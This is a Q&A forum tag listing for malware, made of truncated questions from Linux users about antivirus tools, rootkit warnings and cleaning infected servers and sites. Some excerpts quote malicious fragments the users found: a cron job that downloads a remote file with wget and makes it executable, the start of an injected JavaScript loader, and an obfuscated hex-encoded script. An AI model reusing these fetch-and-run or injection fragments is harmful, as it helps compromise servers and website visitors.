Questions tagged [malware]
The malware tag has no usage guidance.
151
questions
0
votes
1
answer
62
views
My file is reinfected as soon as I chown back to user:psacln
I can turn off write permissions on the directory and remove the file using rm -v filename. I can recreate the file using touch filename and even add contents using nano filename. But, as soon as I ...
1
vote
1
answer
261
views
How to configure ClamAV on Debian 11? (Need sample clamd.conf and correct location)
Since upgrading from Debian 9 to Debian10/11 Clamscan now runs the system out of memory immediately - instead of previously completing all scans successfully.
But the /etc/clamav/clamd.conf file does ...
- 241
0
votes
1
answer
35
views
found php malware detected on syslog
I have a malware which run every minute, i can see it from /var/log/syslog
Feb 1 18:30:01 MENCH CRON[1768]: (www-data) CMD (wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd &...
2
votes
0
answers
43
views
Secure Malware analysis on a virtual machine?
I have read on several sites that Cuckoo is outdated, no longer supported, a dead project etc. Would it be wise for me to install it anyway? I want to have a ransomware analysis lab, where I can ...
- 21
0
votes
0
answers
85
views
ClamAV detected trojan. What are the next steps?
OS: Arch linux lts kernel.
Today I ran clamAV on my computer and it yielded an infected file with code Unix.Trojan.MSShellcode-10.
I then performed a Virus Total Analysis of the file. 2 out of 69 ...
0
votes
2
answers
344
views
Do I really need an antivirus for my arch linux machine?
I have an arch Linux machine and I use it quite often. Moreover, I have a lot of applications even applications from aur, so my question is do I need an antivirus for it?
user539295
-1
votes
1
answer
48
views
Malware for regular linux distros? [duplicate]
I heard many stories that Linux doesn't have viruses/malwares, but I used linux for a short period of time and not a power user yet. I have security concerns and want to hear what you have to say ...
0
votes
2
answers
424
views
How to use wine with more security?
After installing Wine I found that there is a z drive that has direct access to root folder. I have seen many threads and news about virus affecting a linux system through wine. How do I make it more ...
- 162
-4
votes
2
answers
79
views
With Linux being open source what level of confidence is there that there are no back doors or Trojans in the code? [closed]
With Linux being millions of lines of code, with a huge number of device drivers, there are lots of places to hide trap doors and trojans. Since it takes a long time to understand huge programs and ...
- 1
0
votes
1
answer
192
views
Is my webcam hacked?
Linux (ubuntu) user here. I have been using Linux for a long time, which makes me comfortable with the command line. So, I am looking for suggestions and tools to help me solve this problem. In case ...
1
vote
1
answer
848
views
Seemingly random performance drops on Pop!_OS
I am sure many PC users have experienced slow downs on their computers over time (mine is about a year old), but this scenario I find strange.
The Problem
At about 5:30PM yesterday I was browsing the ...
- 121
-3
votes
1
answer
75
views
How do I scan my files and know they are not infected in Linux?
Im consolidating my data onto an encrypted partition and would like peace of mind that nothing lingers like steganography or code execution things, is there a method to searching for possible ...
0
votes
2
answers
41
views
How do I determine what task is launching another task
I am dealing with some essentially virus-like behavior that I'd like to end.
A task 'foo' is running on my computer, generating a lot of calls that are bringing my system performance to its knees. I ...
- 165
0
votes
0
answers
106
views
Are these files really Malware?
When running LMD (maldet), it found the following as malware -->
{YARA}r57shell_php_php : /usr/local/chkrootkit/chkrootkit
{YARA}r57shell_php_php : /home/sbembenek/.config/google-chrome/Default/...
- 1
0
votes
1
answer
111
views
Are there decent, free malware solutions for Linux? [closed]
I looked around for an antivirus on Linux (Arch) or malware scanner, bumped on ClamAV and I don't even remember if I got it to work so fair to say it didn't make the cut at the moment in time.
Are ...
- 153
0
votes
1
answer
1k
views
Potential Reach of Windows Malware via Wine and Mono
Scenario: I have a desktop Ubuntu 21.04 system with Wine and Mono installed. The only program I run on Wine is VisiPics, a Windows photo comparison tool. VisiPics needs read-write access to the ...
- 103
0
votes
0
answers
148
views
My macOS hostname changed randomly should I be worried?
My hostname on my macOS 11.5 changed from MacBook-Pro-username to DESKTOP-NMO2G92 without me changing anything
Should I be worried? aka malware etc
-3
votes
1
answer
104
views
Why isn't VirusTotal detecting a zip file that contains malware? [closed]
Summary
1. On www.virustotal.com, I have just used its "Scan a URL" feature to see if it
detects malware within zip files.
I found a test zip file containing malware (I believe), at
https://...
- 49
0
votes
1
answer
59
views
What is the worst thing a usermode (ring3) virus could do to home linux installation?
I am interested to know whether is it a reasonable decision to try and restrict my own user account as much as possible to the point where I would need to use my own password much more frequently (now ...
1
vote
1
answer
195
views
How to scan for malware on Linux
So a few days ago, I've noticed the new pattern with PC fan speeds on my Fedora workstation. Every now and then some of the fans will start spinning slightly faster than usual and will continue to do ...
- 11
-1
votes
2
answers
295
views
How to secure/harden apache2 on Debian? [closed]
I recently found miner in my Debian 10 server by figuring out what was hogging whole resources (CPU and memory) with htop command. Apparently all malicious processes were running under www-data user. ...
- 1
1
vote
1
answer
470
views
maldet command not found when installing LMD on Linux Ubuntu
I am trying to install LMD linux malware Detect version 1.6.4 on Ubuntu. It shows that the installation was completed successfully; I could even open the conf.maldet for configuration options via ...
2
votes
2
answers
64
views
Can malware from Windows access Ubuntu files?
I have installed Ubuntu 20.04 along with Windows 10 on my laptop. I use Windows for games and Ubuntu for work.
I wonder if I download some virus on Windows, will it be able to access data from Ubuntu ...
- 123
1
vote
2
answers
1k
views
What is the equivalent of autoruns tool in linux for finding suspicious startup executables?
In Windows, Autoruns tool is a really helpful tool for forensic investigators to help them find suspicious startup executables and filter the benign ones.
but i couldn't anything good like this in ...
- 124
-5
votes
2
answers
144
views
Hunting for a malware
I'm hunting a malware under my linux .mozilla folder. My first step is try to log all opened files during running of firefox. What do you advice me to use for this purpose ? Strace ? Are there other ...
- 166
0
votes
2
answers
162
views
How to delete all the "*.exe" files which is 132kb
My external hard disk got a windows virus which makes lots of filename.exe copies of 132.6 kb.
When I write find . -type f -name "*.exe" it founds thousands of .exe files and only 100 or 200 ...
2
votes
0
answers
541
views
Failed to mount "Volume" The given volume was not found
I have been experiencing the following problem since a long time now:
So, When I start my computer and I get my Xubuntu op system Desktop, I always get an usb icon to be shown up on my Desktop.
When ...
- 21
3
votes
1
answer
194
views
How do I verify a Linux distro against its public source code?
This question is not about how to trace build artifacts and signatures back to its "trusted source"—the OS maintainers. I'm asking this question with the deepin Linux distro in mind, which ...
- 131
2
votes
1
answer
38
views
Can I require binary X to be booted only by a bootloader signed with key Y?
If I include Microsoft's keys in my secure boot setup, then any malware which has a Microsoft key can boot my Linux binary. Can I restrict my Linux binary to be booted only by a bootloader signed with ...
- 169
3
votes
1
answer
549
views
crontab -e, permission denied after malware infection
Caused by: My machine was infected with the redis mining worm
Here are some files under /root/.ssh (it's hidden, using ls -la I can see it), I remove them and some other related files, hope it won't ...
- 31
0
votes
1
answer
403
views
Can I find who did an HTTP request?
I am mentioned that my server did an HTTP download some days ago, and it may be a virus. I have the request's source IP/port, the destination IP/port, the protocol, time, length, and method.
Maybe my ...
0
votes
1
answer
132
views
Replace (remove) multiple lines from files
A server of mine was hacked, and they added at the beginning of every js file the following:
var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s....
- 103
1
vote
1
answer
542
views
CentOS 7 Malware? - User "impress+" executes a command ("cron") with a high CPU consumption
One of my "CentOS 7" servers is showing very strange behavior. A user named "impress+" executes a command called "cron". This "cron" command is executed with a high CPU consumption.
I worry because I ...
- 644
1
vote
2
answers
2k
views
ClamAV - What does the "clamd@scan" service do by default?
I have been researching ClamAV to understand what the "clamd@scan" service does by default in case of finding threats. So far I have not been able to get a satisfactory and clear answer (forums, ...
- 644
1
vote
0
answers
76
views
malware identification found on ubuntu server
I discovered a script running on my server. Reading through apache log files, attacker used cms login vulnerability and downloaded script from this site http://217.61.107.9/wes. Can anybody identify ...
- 111
60
votes
2
answers
10k
views
Suspicious crontab entry running 'xribfa4' every 15 minutes
I wanted to add something to my root crontab file on my Raspberry Pi, and found an entry that seems suspicious to me, searching for parts of it on Google turned up nothing.
Crontab entry:
*/15 * * * ...
- 713
0
votes
1
answer
253
views
Will running MalDet (malware detection) and ClamAV (anti-virus) at the same time cause any issues with the operation of each other?
I am running MalDet (malware detection) and ClamAV (anti-virus) on my RedHat 7.x server and wish to run these processes simultaneously.
Other than using CPU resources, can running these two processes ...
- 147
1
vote
0
answers
157
views
What process is accessing this laptops webcam? Is it a rootkit?
Old laptop, running minecraft for the kids. Noticed the webcam light blinking for half a second randomly. Assumed it was a minecraft mod, nuked everything off and did a fresh Ubuntu install.
Sure ...
- 111
1
vote
0
answers
537
views
How can/should I kill masscan process
I host a small Ubuntu server with DigitalOcean and recently realized a guest user was compromised. I have been trying to cleanup up my server to stop future attacks and have come across a process ...
- 11
-1
votes
1
answer
112
views
Is my new micro-sd card immune from infection on my device? [closed]
My orangepiplus2e computer has no bios, no firmware, and no hdd (other than 16GB micro-sd). It has high quality router, ethernet switch, & firewall.
Let's say that I have files (docs,pdf,.iso) ...
- 99
0
votes
2
answers
83
views
Possible trojan on my laptop
Yesterday after connecting to my company's server I noticed an information that there were 107 failed login attempts. After checking the logs it turned out that all of them were coming from my IP ...
- 131
2
votes
1
answer
399
views
google chrome “managed by your organization” on linux
today I opened google chrome and saw this on customize and Control menu : "managed by your organization" , is that a malware sign ? if yes how can I completely remove that malware? my os is ...
- 99
0
votes
0
answers
41
views
what are Squamariaceae and Marcgravia processes which consume lot of cpu on macOS Mojave
I rencently found that two processes called Squamariaceae and Marcgravia where launched every now and then on my laptop and I wonder about their purposes.
Indeed, I had never seen them before and ...
0
votes
1
answer
812
views
Scan unmounted external USB drive for malware without Infecting the system
I have an external USB backup drive that I suspect being infected with a rootkit and fear it might spread to the host Linux system when just connected. Some experts say that some malware has infected ...
1
vote
1
answer
214
views
How can I prevent against the HiddenWasp trojan? [closed]
As people probably know by now, some hackers released a trojan "HiddenWasp" into the Linux world.
Article from Intezer:
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
So ...
- 203
0
votes
1
answer
1k
views
why would ldconfig create a symlink to libselinux.so.1 from libext2fs.so.2?
using strace I have found a behaviour of ldconfig (glibc), I can make no sense of
lstat("/usr/lib/libext2fs.so.2", {st_mode=S_IFLNK|0777, st_size=16, ...}) = 0
unlink("/usr/lib/libext2fs.so.2") ...
- 13.6k
0
votes
4
answers
435
views
Linux command to find and remove text from several files at once
I have my site infected by a virus. This virus added this line in several files in my site. My idea is to remove this line of text with a unique command from the terminal.
Let's say I have the folder ...
- 129
-1
votes
1
answer
1k
views
my server will damage if i delete this infected files?
some spam scripts in my server (it send thousands of mails/hr) i did scan to my server CentOS7 + Virtualmin using clamav , and this is the reuslts :
/home/joudakpk/homes/info/Maildir/cur/1555410522....
0
votes
1
answer
226
views
Cleaning infected site files from malicious code
I got 750 files that have injected by malicious code, and here is the code :
var _0x6eea=["\x56\x79\x7A\x43\x6B\x63\x4B\x65\x77\x37\x67\x39\x64\x43\x6C\x36\x77\x70\x6E\x43\x6F\x63\x4F\x57\x51\x38\...
-1
votes
1
answer
219
views
Mint 19 tcpd INFECTED sha1sum
When I use rkhunter it always shows two warnings and possible 4 rootkit information:
Checking for suspicious (large) shared memory segments [ Warning ]
Checking for hidden files and directories ...
- 1